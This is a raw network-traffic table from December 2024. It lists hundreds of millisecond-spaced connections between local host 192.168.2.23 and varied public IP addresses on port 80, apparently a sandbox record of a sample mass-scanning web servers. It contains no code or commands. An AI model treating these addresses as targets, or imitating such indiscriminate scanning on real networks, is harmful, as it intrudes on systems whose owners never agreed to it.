Dec 27, 2024 05:02:51.104918957 CET	80	14220	199.27.58.21	192.168.2.23
Dec 27, 2024 05:02:51.104932070 CET	80	14220	84.222.16.107	192.168.2.23
Dec 27, 2024 05:02:51.104938030 CET	14220	80	192.168.2.23	62.178.107.109
Dec 27, 2024 05:02:51.104947090 CET	80	14220	128.233.220.67	192.168.2.23
Dec 27, 2024 05:02:51.104949951 CET	14220	80	192.168.2.23	73.89.83.26
Dec 27, 2024 05:02:51.104952097 CET	14220	80	192.168.2.23	199.27.58.21
Dec 27, 2024 05:02:51.104964018 CET	80	14220	118.200.240.136	192.168.2.23
Dec 27, 2024 05:02:51.104969978 CET	14220	80	192.168.2.23	84.222.16.107
Dec 27, 2024 05:02:51.104978085 CET	14220	80	192.168.2.23	128.233.220.67
Dec 27, 2024 05:02:51.104979038 CET	80	14220	217.169.146.112	192.168.2.23
Dec 27, 2024 05:02:51.104990959 CET	80	14220	90.110.26.147	192.168.2.23
Dec 27, 2024 05:02:51.105000019 CET	80	14220	107.12.16.60	192.168.2.23
Dec 27, 2024 05:02:51.105001926 CET	14220	80	192.168.2.23	118.200.240.136
Dec 27, 2024 05:02:51.105010033 CET	80	14220	221.196.94.143	192.168.2.23
Dec 27, 2024 05:02:51.105015039 CET	14220	80	192.168.2.23	90.110.26.147
Dec 27, 2024 05:02:51.105015039 CET	14220	80	192.168.2.23	217.169.146.112
Dec 27, 2024 05:02:51.105020046 CET	80	14220	117.167.23.194	192.168.2.23
Dec 27, 2024 05:02:51.105029106 CET	80	14220	134.166.10.83	192.168.2.23
Dec 27, 2024 05:02:51.105035067 CET	14220	80	192.168.2.23	107.12.16.60
Dec 27, 2024 05:02:51.105042934 CET	80	14220	210.106.17.85	192.168.2.23
Dec 27, 2024 05:02:51.105050087 CET	14220	80	192.168.2.23	221.196.94.143
Dec 27, 2024 05:02:51.105050087 CET	14220	80	192.168.2.23	117.167.23.194
Dec 27, 2024 05:02:51.105055094 CET	80	14220	122.84.243.30	192.168.2.23
Dec 27, 2024 05:02:51.105065107 CET	14220	80	192.168.2.23	134.166.10.83
Dec 27, 2024 05:02:51.105065107 CET	80	14220	103.136.37.135	192.168.2.23
Dec 27, 2024 05:02:51.105072975 CET	14220	80	192.168.2.23	210.106.17.85
Dec 27, 2024 05:02:51.105074883 CET	80	14220	112.223.208.68	192.168.2.23
Dec 27, 2024 05:02:51.105082035 CET	14220	80	192.168.2.23	122.84.243.30
Dec 27, 2024 05:02:51.105084896 CET	80	14220	138.252.242.213	192.168.2.23
Dec 27, 2024 05:02:51.105094910 CET	80	14220	209.99.129.16	192.168.2.23
Dec 27, 2024 05:02:51.105104923 CET	80	14220	23.106.130.102	192.168.2.23
Dec 27, 2024 05:02:51.105113983 CET	14220	80	192.168.2.23	103.136.37.135
Dec 27, 2024 05:02:51.105113983 CET	14220	80	192.168.2.23	112.223.208.68
Dec 27, 2024 05:02:51.105113983 CET	80	14220	223.249.222.212	192.168.2.23
Dec 27, 2024 05:02:51.105122089 CET	14220	80	192.168.2.23	209.99.129.16
Dec 27, 2024 05:02:51.105127096 CET	80	14220	123.51.87.153	192.168.2.23
Dec 27, 2024 05:02:51.105132103 CET	14220	80	192.168.2.23	138.252.242.213
Dec 27, 2024 05:02:51.105137110 CET	80	14220	154.55.25.241	192.168.2.23
Dec 27, 2024 05:02:51.105139971 CET	14220	80	192.168.2.23	23.106.130.102
Dec 27, 2024 05:02:51.105145931 CET	80	14220	204.227.45.64	192.168.2.23
Dec 27, 2024 05:02:51.105149031 CET	14220	80	192.168.2.23	223.249.222.212
Dec 27, 2024 05:02:51.105155945 CET	80	14220	100.54.134.40	192.168.2.23
Dec 27, 2024 05:02:51.105165958 CET	14220	80	192.168.2.23	123.51.87.153
Dec 27, 2024 05:02:51.105168104 CET	80	14220	78.240.238.42	192.168.2.23
Dec 27, 2024 05:02:51.105175018 CET	14220	80	192.168.2.23	154.55.25.241
Dec 27, 2024 05:02:51.105184078 CET	80	14220	104.38.157.158	192.168.2.23
Dec 27, 2024 05:02:51.105185986 CET	14220	80	192.168.2.23	204.227.45.64
Dec 27, 2024 05:02:51.105194092 CET	80	14220	153.181.110.227	192.168.2.23
Dec 27, 2024 05:02:51.105196953 CET	14220	80	192.168.2.23	100.54.134.40
Dec 27, 2024 05:02:51.105199099 CET	14220	80	192.168.2.23	78.240.238.42
Dec 27, 2024 05:02:51.105205059 CET	80	14220	62.55.148.49	192.168.2.23
Dec 27, 2024 05:02:51.105216026 CET	80	14220	184.183.135.49	192.168.2.23
Dec 27, 2024 05:02:51.105223894 CET	14220	80	192.168.2.23	104.38.157.158
Dec 27, 2024 05:02:51.105223894 CET	14220	80	192.168.2.23	153.181.110.227
Dec 27, 2024 05:02:51.105225086 CET	80	14220	198.165.51.136	192.168.2.23
Dec 27, 2024 05:02:51.105236053 CET	80	14220	118.238.7.247	192.168.2.23
Dec 27, 2024 05:02:51.105238914 CET	14220	80	192.168.2.23	62.55.148.49
Dec 27, 2024 05:02:51.105245113 CET	80	14220	115.163.129.196	192.168.2.23
Dec 27, 2024 05:02:51.105247974 CET	14220	80	192.168.2.23	184.183.135.49
Dec 27, 2024 05:02:51.105256081 CET	80	14220	162.84.207.86	192.168.2.23
Dec 27, 2024 05:02:51.105259895 CET	80	14220	20.20.156.122	192.168.2.23
Dec 27, 2024 05:02:51.105262995 CET	14220	80	192.168.2.23	198.165.51.136
Dec 27, 2024 05:02:51.105268002 CET	14220	80	192.168.2.23	118.238.7.247
Dec 27, 2024 05:02:51.105278015 CET	80	14220	173.11.32.2	192.168.2.23
Dec 27, 2024 05:02:51.105283976 CET	14220	80	192.168.2.23	115.163.129.196
Dec 27, 2024 05:02:51.105285883 CET	14220	80	192.168.2.23	162.84.207.86
Dec 27, 2024 05:02:51.105288982 CET	80	14220	156.33.26.248	192.168.2.23
Dec 27, 2024 05:02:51.105299950 CET	80	14220	192.33.42.100	192.168.2.23
Dec 27, 2024 05:02:51.105309010 CET	80	14220	104.131.179.101	192.168.2.23
Dec 27, 2024 05:02:51.105309010 CET	14220	80	192.168.2.23	173.11.32.2
Dec 27, 2024 05:02:51.105309010 CET	14220	80	192.168.2.23	20.20.156.122
Dec 27, 2024 05:02:51.105318069 CET	14220	80	192.168.2.23	156.33.26.248
Dec 27, 2024 05:02:51.105328083 CET	80	14220	101.109.122.3	192.168.2.23
Dec 27, 2024 05:02:51.105335951 CET	14220	80	192.168.2.23	104.131.179.101
Dec 27, 2024 05:02:51.105343103 CET	14220	80	192.168.2.23	192.33.42.100
Dec 27, 2024 05:02:51.105345011 CET	80	14220	46.52.85.87	192.168.2.23
Dec 27, 2024 05:02:51.105355978 CET	80	14220	208.107.177.206	192.168.2.23
Dec 27, 2024 05:02:51.105366945 CET	80	14220	50.134.34.159	192.168.2.23
Dec 27, 2024 05:02:51.105370045 CET	14220	80	192.168.2.23	101.109.122.3
Dec 27, 2024 05:02:51.105371952 CET	80	14220	70.241.202.145	192.168.2.23
Dec 27, 2024 05:02:51.105376959 CET	80	14220	94.26.11.124	192.168.2.23
Dec 27, 2024 05:02:51.105381966 CET	80	14220	206.37.124.7	192.168.2.23
Dec 27, 2024 05:02:51.105381966 CET	14220	80	192.168.2.23	46.52.85.87
Dec 27, 2024 05:02:51.105391026 CET	80	14220	46.238.193.55	192.168.2.23
Dec 27, 2024 05:02:51.105400085 CET	80	14220	77.90.71.123	192.168.2.23
Dec 27, 2024 05:02:51.105408907 CET	80	14220	179.248.3.79	192.168.2.23
Dec 27, 2024 05:02:51.105411053 CET	14220	80	192.168.2.23	50.134.34.159
Dec 27, 2024 05:02:51.105411053 CET	14220	80	192.168.2.23	208.107.177.206
Dec 27, 2024 05:02:51.105412960 CET	14220	80	192.168.2.23	70.241.202.145
Dec 27, 2024 05:02:51.105415106 CET	14220	80	192.168.2.23	94.26.11.124
Dec 27, 2024 05:02:51.105422020 CET	80	14220	159.191.50.122	192.168.2.23
Dec 27, 2024 05:02:51.105432034 CET	14220	80	192.168.2.23	46.238.193.55
Dec 27, 2024 05:02:51.105432987 CET	14220	80	192.168.2.23	206.37.124.7
Dec 27, 2024 05:02:51.105432987 CET	14220	80	192.168.2.23	77.90.71.123
Dec 27, 2024 05:02:51.105439901 CET	80	14220	83.4.95.159	192.168.2.23
Dec 27, 2024 05:02:51.105442047 CET	14220	80	192.168.2.23	179.248.3.79
Dec 27, 2024 05:02:51.105449915 CET	80	14220	14.78.105.123	192.168.2.23
Dec 27, 2024 05:02:51.105458975 CET	80	14220	222.109.144.254	192.168.2.23
Dec 27, 2024 05:02:51.105468988 CET	80	14220	183.104.141.46	192.168.2.23
Dec 27, 2024 05:02:51.105479002 CET	80	14220	151.168.157.18	192.168.2.23
Dec 27, 2024 05:02:51.105483055 CET	14220	80	192.168.2.23	14.78.105.123
Dec 27, 2024 05:02:51.105488062 CET	80	14220	129.156.79.250	192.168.2.23
Dec 27, 2024 05:02:51.105498075 CET	80	14220	192.53.230.15	192.168.2.23
Dec 27, 2024 05:02:51.105504990 CET	14220	80	192.168.2.23	151.168.157.18
Dec 27, 2024 05:02:51.105510950 CET	14220	80	192.168.2.23	183.104.141.46
Dec 27, 2024 05:02:51.105510950 CET	14220	80	192.168.2.23	159.191.50.122
Dec 27, 2024 05:02:51.105510950 CET	14220	80	192.168.2.23	83.4.95.159
Dec 27, 2024 05:02:51.105514050 CET	80	14220	78.104.170.135	192.168.2.23
Dec 27, 2024 05:02:51.105515957 CET	14220	80	192.168.2.23	222.109.144.254
Dec 27, 2024 05:02:51.105524063 CET	80	14220	93.235.146.10	192.168.2.23
Dec 27, 2024 05:02:51.105525970 CET	14220	80	192.168.2.23	129.156.79.250
Dec 27, 2024 05:02:51.105535030 CET	80	14220	138.56.170.177	192.168.2.23
Dec 27, 2024 05:02:51.105539083 CET	14220	80	192.168.2.23	192.53.230.15
Dec 27, 2024 05:02:51.105545044 CET	14220	80	192.168.2.23	78.104.170.135
Dec 27, 2024 05:02:51.105545044 CET	14220	80	192.168.2.23	93.235.146.10
Dec 27, 2024 05:02:51.105547905 CET	80	14220	148.63.62.179	192.168.2.23
Dec 27, 2024 05:02:51.105557919 CET	80	14220	161.170.205.255	192.168.2.23
Dec 27, 2024 05:02:51.105567932 CET	80	14220	158.164.124.190	192.168.2.23
Dec 27, 2024 05:02:51.105567932 CET	14220	80	192.168.2.23	138.56.170.177
Dec 27, 2024 05:02:51.105577946 CET	80	14220	198.208.78.110	192.168.2.23
Dec 27, 2024 05:02:51.105583906 CET	14220	80	192.168.2.23	148.63.62.179
Dec 27, 2024 05:02:51.105587959 CET	80	14220	180.247.230.22	192.168.2.23
Dec 27, 2024 05:02:51.105588913 CET	14220	80	192.168.2.23	161.170.205.255
Dec 27, 2024 05:02:51.105597019 CET	14220	80	192.168.2.23	158.164.124.190
Dec 27, 2024 05:02:51.105606079 CET	80	14220	203.217.167.228	192.168.2.23
Dec 27, 2024 05:02:51.105614901 CET	14220	80	192.168.2.23	198.208.78.110
Dec 27, 2024 05:02:51.105617046 CET	14220	80	192.168.2.23	180.247.230.22
Dec 27, 2024 05:02:51.105624914 CET	80	14220	222.35.120.254	192.168.2.23
Dec 27, 2024 05:02:51.105635881 CET	80	14220	201.82.9.125	192.168.2.23
Dec 27, 2024 05:02:51.105643988 CET	80	14220	68.213.127.85	192.168.2.23
Dec 27, 2024 05:02:51.105654001 CET	80	14220	186.41.171.38	192.168.2.23
Dec 27, 2024 05:02:51.105662107 CET	80	14220	160.43.144.99	192.168.2.23
Dec 27, 2024 05:02:51.105664015 CET	14220	80	192.168.2.23	201.82.9.125
Dec 27, 2024 05:02:51.105664015 CET	14220	80	192.168.2.23	203.217.167.228
Dec 27, 2024 05:02:51.105664015 CET	14220	80	192.168.2.23	222.35.120.254
Dec 27, 2024 05:02:51.105673075 CET	80	14220	179.228.123.146	192.168.2.23
Dec 27, 2024 05:02:51.105674028 CET	14220	80	192.168.2.23	186.41.171.38
Dec 27, 2024 05:02:51.105679035 CET	14220	80	192.168.2.23	68.213.127.85
Dec 27, 2024 05:02:51.105684042 CET	80	14220	94.25.146.200	192.168.2.23
Dec 27, 2024 05:02:51.105695009 CET	80	14220	131.254.7.186	192.168.2.23
Dec 27, 2024 05:02:51.105704069 CET	80	14220	212.46.251.18	192.168.2.23
Dec 27, 2024 05:02:51.105705976 CET	14220	80	192.168.2.23	160.43.144.99
Dec 27, 2024 05:02:51.105706930 CET	14220	80	192.168.2.23	94.25.146.200
Dec 27, 2024 05:02:51.105710030 CET	14220	80	192.168.2.23	179.228.123.146
Dec 27, 2024 05:02:51.105715036 CET	80	14220	174.134.146.179	192.168.2.23
Dec 27, 2024 05:02:51.105725050 CET	80	14220	101.196.242.106	192.168.2.23
Dec 27, 2024 05:02:51.105730057 CET	14220	80	192.168.2.23	131.254.7.186
Dec 27, 2024 05:02:51.105735064 CET	80	14220	123.162.200.160	192.168.2.23
Dec 27, 2024 05:02:51.105736971 CET	14220	80	192.168.2.23	212.46.251.18
Dec 27, 2024 05:02:51.105745077 CET	80	14220	82.144.22.149	192.168.2.23
Dec 27, 2024 05:02:51.105745077 CET	14220	80	192.168.2.23	174.134.146.179
Dec 27, 2024 05:02:51.105757952 CET	80	14220	175.134.30.226	192.168.2.23
Dec 27, 2024 05:02:51.105758905 CET	14220	80	192.168.2.23	101.196.242.106
Dec 27, 2024 05:02:51.105768919 CET	80	14220	147.155.199.167	192.168.2.23
Dec 27, 2024 05:02:51.105777979 CET	80	14220	133.249.39.192	192.168.2.23
Dec 27, 2024 05:02:51.105782986 CET	14220	80	192.168.2.23	123.162.200.160
Dec 27, 2024 05:02:51.105782986 CET	14220	80	192.168.2.23	82.144.22.149
Dec 27, 2024 05:02:51.105788946 CET	80	14220	54.244.40.85	192.168.2.23
Dec 27, 2024 05:02:51.105801105 CET	80	14220	194.211.74.104	192.168.2.23
Dec 27, 2024 05:02:51.105803967 CET	14220	80	192.168.2.23	175.134.30.226
Dec 27, 2024 05:02:51.105803967 CET	14220	80	192.168.2.23	147.155.199.167
Dec 27, 2024 05:02:51.105808973 CET	14220	80	192.168.2.23	133.249.39.192
Dec 27, 2024 05:02:51.105811119 CET	80	14220	83.88.128.54	192.168.2.23
Dec 27, 2024 05:02:51.105820894 CET	80	14220	14.234.145.173	192.168.2.23
Dec 27, 2024 05:02:51.105830908 CET	80	14220	65.85.49.76	192.168.2.23
Dec 27, 2024 05:02:51.105835915 CET	14220	80	192.168.2.23	83.88.128.54
Dec 27, 2024 05:02:51.105840921 CET	80	14220	191.163.82.255	192.168.2.23
Dec 27, 2024 05:02:51.105840921 CET	14220	80	192.168.2.23	54.244.40.85
Dec 27, 2024 05:02:51.105845928 CET	14220	80	192.168.2.23	14.234.145.173
Dec 27, 2024 05:02:51.105849981 CET	14220	80	192.168.2.23	194.211.74.104
Dec 27, 2024 05:02:51.105854034 CET	14220	80	192.168.2.23	65.85.49.76
Dec 27, 2024 05:02:51.105859041 CET	80	14220	187.234.58.21	192.168.2.23
Dec 27, 2024 05:02:51.105869055 CET	80	14220	210.135.194.42	192.168.2.23
Dec 27, 2024 05:02:51.105879068 CET	80	14220	111.117.245.162	192.168.2.23
Dec 27, 2024 05:02:51.105880976 CET	14220	80	192.168.2.23	191.163.82.255
Dec 27, 2024 05:02:51.105889082 CET	80	14220	104.227.65.126	192.168.2.23
Dec 27, 2024 05:02:51.105890989 CET	14220	80	192.168.2.23	187.234.58.21
Dec 27, 2024 05:02:51.105899096 CET	80	14220	59.120.20.86	192.168.2.23
Dec 27, 2024 05:02:51.105900049 CET	14220	80	192.168.2.23	210.135.194.42
Dec 27, 2024 05:02:51.105906963 CET	14220	80	192.168.2.23	111.117.245.162
Dec 27, 2024 05:02:51.105909109 CET	80	14220	122.190.192.20	192.168.2.23
Dec 27, 2024 05:02:51.105918884 CET	80	14220	46.66.157.104	192.168.2.23
Dec 27, 2024 05:02:51.105922937 CET	14220	80	192.168.2.23	59.120.20.86
Dec 27, 2024 05:02:51.105926037 CET	14220	80	192.168.2.23	104.227.65.126
Dec 27, 2024 05:02:51.105928898 CET	80	14220	64.166.141.45	192.168.2.23
Dec 27, 2024 05:02:51.105931044 CET	14220	80	192.168.2.23	122.190.192.20
Dec 27, 2024 05:02:51.105938911 CET	80	14220	41.164.40.86	192.168.2.23
Dec 27, 2024 05:02:51.105950117 CET	80	14220	161.106.198.140	192.168.2.23
Dec 27, 2024 05:02:51.105957031 CET	14220	80	192.168.2.23	46.66.157.104
Dec 27, 2024 05:02:51.105957031 CET	14220	80	192.168.2.23	64.166.141.45
Dec 27, 2024 05:02:51.105958939 CET	80	14220	161.42.118.215	192.168.2.23
Dec 27, 2024 05:02:51.105967999 CET	14220	80	192.168.2.23	41.164.40.86
Dec 27, 2024 05:02:51.105968952 CET	80	14220	175.105.217.236	192.168.2.23
Dec 27, 2024 05:02:51.105978966 CET	80	14220	17.8.203.52	192.168.2.23
Dec 27, 2024 05:02:51.105983973 CET	14220	80	192.168.2.23	161.106.198.140
Dec 27, 2024 05:02:51.105988026 CET	14220	80	192.168.2.23	161.42.118.215
Dec 27, 2024 05:02:51.105988979 CET	80	14220	157.155.239.140	192.168.2.23
Dec 27, 2024 05:02:51.105993986 CET	14220	80	192.168.2.23	175.105.217.236
Dec 27, 2024 05:02:51.105999947 CET	80	14220	130.31.186.194	192.168.2.23
Dec 27, 2024 05:02:51.106007099 CET	14220	80	192.168.2.23	17.8.203.52
Dec 27, 2024 05:02:51.106009960 CET	80	14220	210.150.231.30	192.168.2.23
Dec 27, 2024 05:02:51.106019020 CET	14220	80	192.168.2.23	157.155.239.140
Dec 27, 2024 05:02:51.106020927 CET	80	14220	57.134.33.63	192.168.2.23
Dec 27, 2024 05:02:51.106030941 CET	80	14220	20.44.54.85	192.168.2.23
Dec 27, 2024 05:02:51.106036901 CET	14220	80	192.168.2.23	130.31.186.194
Dec 27, 2024 05:02:51.106043100 CET	80	14220	174.20.241.244	192.168.2.23
Dec 27, 2024 05:02:51.106044054 CET	14220	80	192.168.2.23	210.150.231.30
Dec 27, 2024 05:02:51.106051922 CET	14220	80	192.168.2.23	57.134.33.63
Dec 27, 2024 05:02:51.106053114 CET	80	14220	137.201.184.32	192.168.2.23
Dec 27, 2024 05:02:51.106060982 CET	14220	80	192.168.2.23	20.44.54.85
Dec 27, 2024 05:02:51.106070995 CET	80	14220	171.166.85.197	192.168.2.23
Dec 27, 2024 05:02:51.106081009 CET	80	14220	152.147.139.31	192.168.2.23
Dec 27, 2024 05:02:51.106084108 CET	14220	80	192.168.2.23	174.20.241.244
Dec 27, 2024 05:02:51.106091022 CET	14220	80	192.168.2.23	137.201.184.32
Dec 27, 2024 05:02:51.106100082 CET	80	14220	104.138.165.227	192.168.2.23
Dec 27, 2024 05:02:51.106108904 CET	80	14220	45.125.147.150	192.168.2.23
Dec 27, 2024 05:02:51.106110096 CET	14220	80	192.168.2.23	152.147.139.31
Dec 27, 2024 05:02:51.106113911 CET	14220	80	192.168.2.23	171.166.85.197
Dec 27, 2024 05:02:51.106113911 CET	80	14220	58.134.255.86	192.168.2.23
Dec 27, 2024 05:02:51.106123924 CET	80	14220	209.18.67.247	192.168.2.23
Dec 27, 2024 05:02:51.106133938 CET	14220	80	192.168.2.23	45.125.147.150
Dec 27, 2024 05:02:51.106133938 CET	14220	80	192.168.2.23	104.138.165.227
Dec 27, 2024 05:02:51.106137991 CET	14220	80	192.168.2.23	58.134.255.86
Dec 27, 2024 05:02:51.106142998 CET	80	14220	99.77.216.147	192.168.2.23
Dec 27, 2024 05:02:51.106148958 CET	14220	80	192.168.2.23	209.18.67.247
Dec 27, 2024 05:02:51.106152058 CET	80	14220	160.106.43.186	192.168.2.23
Dec 27, 2024 05:02:51.106163979 CET	80	14220	146.79.95.52	192.168.2.23
Dec 27, 2024 05:02:51.106173038 CET	80	14220	128.9.135.79	192.168.2.23
Dec 27, 2024 05:02:51.106183052 CET	14220	80	192.168.2.23	99.77.216.147
Dec 27, 2024 05:02:51.106183052 CET	14220	80	192.168.2.23	160.106.43.186
Dec 27, 2024 05:02:51.106183052 CET	80	14220	162.224.33.114	192.168.2.23
Dec 27, 2024 05:02:51.106194973 CET	80	14220	78.65.52.86	192.168.2.23
Dec 27, 2024 05:02:51.106204033 CET	14220	80	192.168.2.23	146.79.95.52
Dec 27, 2024 05:02:51.106204987 CET	80	14220	154.209.178.176	192.168.2.23
Dec 27, 2024 05:02:51.106204987 CET	14220	80	192.168.2.23	128.9.135.79
Dec 27, 2024 05:02:51.106214046 CET	80	14220	114.184.60.251	192.168.2.23
Dec 27, 2024 05:02:51.106218100 CET	14220	80	192.168.2.23	162.224.33.114
Dec 27, 2024 05:02:51.106225014 CET	80	14220	159.232.217.243	192.168.2.23
Dec 27, 2024 05:02:51.106226921 CET	14220	80	192.168.2.23	78.65.52.86
Dec 27, 2024 05:02:51.106230974 CET	14220	80	192.168.2.23	154.209.178.176
Dec 27, 2024 05:02:51.106235027 CET	80	14220	49.64.133.111	192.168.2.23
Dec 27, 2024 05:02:51.106246948 CET	80	14220	65.87.83.136	192.168.2.23
Dec 27, 2024 05:02:51.106249094 CET	14220	80	192.168.2.23	159.232.217.243
Dec 27, 2024 05:02:51.106254101 CET	14220	80	192.168.2.23	114.184.60.251
Dec 27, 2024 05:02:51.106262922 CET	80	14220	181.112.32.168	192.168.2.23
Dec 27, 2024 05:02:51.106272936 CET	80	14220	98.54.36.131	192.168.2.23
Dec 27, 2024 05:02:51.106273890 CET	14220	80	192.168.2.23	49.64.133.111
Dec 27, 2024 05:02:51.106282949 CET	80	14220	79.23.176.140	192.168.2.23
Dec 27, 2024 05:02:51.106290102 CET	14220	80	192.168.2.23	65.87.83.136
Dec 27, 2024 05:02:51.106292009 CET	14220	80	192.168.2.23	181.112.32.168
Dec 27, 2024 05:02:51.106292009 CET	14220	80	192.168.2.23	98.54.36.131
Dec 27, 2024 05:02:51.106292963 CET	80	14220	37.64.14.84	192.168.2.23
Dec 27, 2024 05:02:51.106304884 CET	80	14220	168.74.13.13	192.168.2.23
Dec 27, 2024 05:02:51.106314898 CET	80	14220	195.218.226.81	192.168.2.23
Dec 27, 2024 05:02:51.106317997 CET	14220	80	192.168.2.23	79.23.176.140
Dec 27, 2024 05:02:51.106327057 CET	14220	80	192.168.2.23	37.64.14.84
Dec 27, 2024 05:02:51.106327057 CET	14220	80	192.168.2.23	168.74.13.13
Dec 27, 2024 05:02:51.106338024 CET	80	14220	158.8.163.72	192.168.2.23
Dec 27, 2024 05:02:51.106343031 CET	14220	80	192.168.2.23	195.218.226.81
Dec 27, 2024 05:02:51.106347084 CET	80	14220	24.121.74.127	192.168.2.23
Dec 27, 2024 05:02:51.106355906 CET	80	14220	118.9.176.109	192.168.2.23
Dec 27, 2024 05:02:51.106365919 CET	80	14220	222.113.193.217	192.168.2.23
Dec 27, 2024 05:02:51.106370926 CET	14220	80	192.168.2.23	24.121.74.127
Dec 27, 2024 05:02:51.106370926 CET	14220	80	192.168.2.23	158.8.163.72
Dec 27, 2024 05:02:51.106374025 CET	80	14220	49.195.204.109	192.168.2.23
Dec 27, 2024 05:02:51.106384993 CET	80	14220	198.52.79.80	192.168.2.23
Dec 27, 2024 05:02:51.106389046 CET	14220	80	192.168.2.23	222.113.193.217
Dec 27, 2024 05:02:51.106389999 CET	14220	80	192.168.2.23	118.9.176.109
Dec 27, 2024 05:02:51.106394053 CET	80	14220	168.24.98.47	192.168.2.23
Dec 27, 2024 05:02:51.106403112 CET	80	14220	192.44.199.210	192.168.2.23
Dec 27, 2024 05:02:51.106405973 CET	14220	80	192.168.2.23	49.195.204.109
Dec 27, 2024 05:02:51.106411934 CET	80	14220	218.26.63.119	192.168.2.23
Dec 27, 2024 05:02:51.106421947 CET	80	14220	40.93.59.21	192.168.2.23
Dec 27, 2024 05:02:51.106432915 CET	14220	80	192.168.2.23	192.44.199.210
Dec 27, 2024 05:02:51.106436014 CET	14220	80	192.168.2.23	168.24.98.47
Dec 27, 2024 05:02:51.106437922 CET	14220	80	192.168.2.23	198.52.79.80
Dec 27, 2024 05:02:51.106440067 CET	80	14220	143.198.169.15	192.168.2.23
Dec 27, 2024 05:02:51.106447935 CET	14220	80	192.168.2.23	218.26.63.119
Dec 27, 2024 05:02:51.106450081 CET	80	14220	155.80.122.134	192.168.2.23
Dec 27, 2024 05:02:51.106460094 CET	80	14220	62.101.102.152	192.168.2.23
Dec 27, 2024 05:02:51.106466055 CET	14220	80	192.168.2.23	143.198.169.15
Dec 27, 2024 05:02:51.106466055 CET	14220	80	192.168.2.23	40.93.59.21
Dec 27, 2024 05:02:51.106468916 CET	80	14220	188.169.198.128	192.168.2.23
Dec 27, 2024 05:02:51.106477976 CET	80	14220	53.223.20.167	192.168.2.23
Dec 27, 2024 05:02:51.106481075 CET	14220	80	192.168.2.23	155.80.122.134
Dec 27, 2024 05:02:51.106487989 CET	80	14220	18.68.26.67	192.168.2.23
Dec 27, 2024 05:02:51.106497049 CET	14220	80	192.168.2.23	62.101.102.152
Dec 27, 2024 05:02:51.106497049 CET	14220	80	192.168.2.23	188.169.198.128
Dec 27, 2024 05:02:51.106498003 CET	80	14220	90.15.247.121	192.168.2.23
Dec 27, 2024 05:02:51.106506109 CET	14220	80	192.168.2.23	53.223.20.167
Dec 27, 2024 05:02:51.106518984 CET	80	14220	191.145.178.228	192.168.2.23
Dec 27, 2024 05:02:51.106527090 CET	14220	80	192.168.2.23	18.68.26.67
Dec 27, 2024 05:02:51.106528997 CET	80	14220	165.212.103.37	192.168.2.23
Dec 27, 2024 05:02:51.106539011 CET	80	14220	169.11.29.74	192.168.2.23
Dec 27, 2024 05:02:51.106544971 CET	14220	80	192.168.2.23	90.15.247.121
Dec 27, 2024 05:02:51.106549978 CET	80	14220	120.133.62.103	192.168.2.23
Dec 27, 2024 05:02:51.106553078 CET	14220	80	192.168.2.23	191.145.178.228
Dec 27, 2024 05:02:51.106560946 CET	14220	80	192.168.2.23	165.212.103.37
Dec 27, 2024 05:02:51.106561899 CET	80	14220	161.12.211.159	192.168.2.23
Dec 27, 2024 05:02:51.106576920 CET	80	14220	71.17.61.31	192.168.2.23
Dec 27, 2024 05:02:51.106585026 CET	14220	80	192.168.2.23	120.133.62.103
Dec 27, 2024 05:02:51.106586933 CET	80	14220	2.152.65.149	192.168.2.23
Dec 27, 2024 05:02:51.106586933 CET	14220	80	192.168.2.23	169.11.29.74
Dec 27, 2024 05:02:51.106589079 CET	14220	80	192.168.2.23	161.12.211.159
Dec 27, 2024 05:02:51.106597900 CET	80	14220	116.8.107.52	192.168.2.23
Dec 27, 2024 05:02:51.106602907 CET	14220	80	192.168.2.23	71.17.61.31
Dec 27, 2024 05:02:51.106607914 CET	14220	80	192.168.2.23	2.152.65.149
Dec 27, 2024 05:02:51.106611013 CET	80	14220	137.48.161.188	192.168.2.23
Dec 27, 2024 05:02:51.106621981 CET	80	14220	164.141.34.79	192.168.2.23
Dec 27, 2024 05:02:51.106631994 CET	80	14220	151.129.55.5	192.168.2.23
Dec 27, 2024 05:02:51.106635094 CET	14220	80	192.168.2.23	137.48.161.188
Dec 27, 2024 05:02:51.106635094 CET	14220	80	192.168.2.23	116.8.107.52
Dec 27, 2024 05:02:51.106642008 CET	80	14220	144.156.163.47	192.168.2.23
Dec 27, 2024 05:02:51.106652021 CET	80	14220	68.231.74.208	192.168.2.23
Dec 27, 2024 05:02:51.106659889 CET	14220	80	192.168.2.23	164.141.34.79
Dec 27, 2024 05:02:51.106662989 CET	14220	80	192.168.2.23	151.129.55.5
Dec 27, 2024 05:02:51.106669903 CET	80	14220	151.199.225.136	192.168.2.23
Dec 27, 2024 05:02:51.106678963 CET	80	14220	193.243.225.24	192.168.2.23
Dec 27, 2024 05:02:51.106681108 CET	14220	80	192.168.2.23	68.231.74.208
Dec 27, 2024 05:02:51.106687069 CET	14220	80	192.168.2.23	144.156.163.47
Dec 27, 2024 05:02:51.106688023 CET	80	14220	115.56.171.72	192.168.2.23
Dec 27, 2024 05:02:51.106698036 CET	80	14220	153.170.34.19	192.168.2.23
Dec 27, 2024 05:02:51.106708050 CET	14220	80	192.168.2.23	151.199.225.136
Dec 27, 2024 05:02:51.106708050 CET	80	14220	129.38.221.184	192.168.2.23
Dec 27, 2024 05:02:51.106708050 CET	14220	80	192.168.2.23	193.243.225.24
Dec 27, 2024 05:02:51.106718063 CET	80	14220	131.125.195.235	192.168.2.23
Dec 27, 2024 05:02:51.106719017 CET	14220	80	192.168.2.23	115.56.171.72
Dec 27, 2024 05:02:51.106726885 CET	14220	80	192.168.2.23	153.170.34.19
Dec 27, 2024 05:02:51.106726885 CET	80	14220	95.31.138.52	192.168.2.23
Dec 27, 2024 05:02:51.106736898 CET	80	14220	89.55.65.37	192.168.2.23
Dec 27, 2024 05:02:51.106746912 CET	14220	80	192.168.2.23	131.125.195.235
Dec 27, 2024 05:02:51.106746912 CET	80	14220	44.102.129.47	192.168.2.23
Dec 27, 2024 05:02:51.106750011 CET	14220	80	192.168.2.23	129.38.221.184
Dec 27, 2024 05:02:51.106758118 CET	80	14220	46.156.169.239	192.168.2.23
Dec 27, 2024 05:02:51.106764078 CET	14220	80	192.168.2.23	95.31.138.52
Dec 27, 2024 05:02:51.106767893 CET	80	14220	191.74.54.178	192.168.2.23
Dec 27, 2024 05:02:51.106776953 CET	14220	80	192.168.2.23	89.55.65.37
Dec 27, 2024 05:02:51.106777906 CET	80	14220	190.96.214.101	192.168.2.23
Dec 27, 2024 05:02:51.106777906 CET	14220	80	192.168.2.23	44.102.129.47
Dec 27, 2024 05:02:51.106787920 CET	80	14220	199.35.103.82	192.168.2.23
